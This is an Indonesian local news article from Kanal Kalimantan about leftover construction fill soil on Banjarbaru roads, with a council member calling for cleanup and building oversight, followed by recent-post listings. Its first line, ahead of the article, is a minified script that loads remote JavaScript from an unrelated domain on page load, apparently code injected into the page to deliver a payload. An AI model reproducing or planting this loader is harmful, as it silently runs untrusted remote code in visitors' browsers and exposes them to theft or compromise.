(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

Sisa Tanah Uruk Pembangunan Berserakan di Jalan Umum, Wakil Rakyat: Harusnya Langsung Dibersihkan!


KANALKALIMANTAN.COM, BANJARBARU – Tanah urukan yang dibawa truk untuk memulai pembangunan terkadang ikut terbawa ke jalan raya menyisakan masalah bagi pengendara.

Hal kecil yang seharusnya setelah melakukan urukan tanah langsung disiram untuk menghilangkan sisa-sisa tanah yang tertinggal di jalan, namun tidak semua permasalah tersebut menjadi perhatian para pihak yang melakukan pembangunan.

Sebab dari sisa-sisa tanah yang tertinggal di jalan menyebabkan masyarakat menjadi korbannya, jika hujan jalanan akan licin. Sebaliknya ketika panas jalan akan menjadi berdebu dan tidak sedikit menyebabkan kecelakaan karena gundukan tanah yang bersebaran di jalan umum.

Kondisi itu mendapat perhatian Anggota Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru, Norkhalis Ansari.

 

Sisa urukan terkait pembangunan gedung seperti bangunan gedung besar yang perlu diperhatikan adalah izin mendirikan bangunan. Kemudian terkait sisa pekerjaan tidak dibenarkan berserakan sembarangan di jalan apalagi membuat sulit masyarakat.

“Terkait sisa pekerjaan, tidak dibenarkan apalagi dapat mengganggu jalan,” ujarnya, Senin (14/2/2022).

Seharusnya, setelah setelah selesai pekerjaan harus dilakukan penyemprotan agar tidak mengganggu lalu lalang kendaraan masyarakat.

“Harus menjadi perhatian Pemko Banjarbaru, selain cek izin bangunannya,” tambahnya.

Menurutnya ketika melakukan pembangunan apalagi sebuah bangunan besar, harus dilakukan pengawasan sejak dini oleh Disperkim maupun Dinas PUPR. Hal ini bertujuan untuk menghindari adanya pelanggaran regulasi.

“Jika bangunan tersebut tidak diawasi sedari awal, maka kedepannya akan sulit untuk menindak apalagi melakukan pembongkaran,” ucapnya.

DPRD Kota Banjarbaru sedang menyiapkan regulasi perizinan pembangunan gedung. Sekarang berubah menjadi retribusi persetujuan pembangunan gedung yang sudah disahkan tahun lalu. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.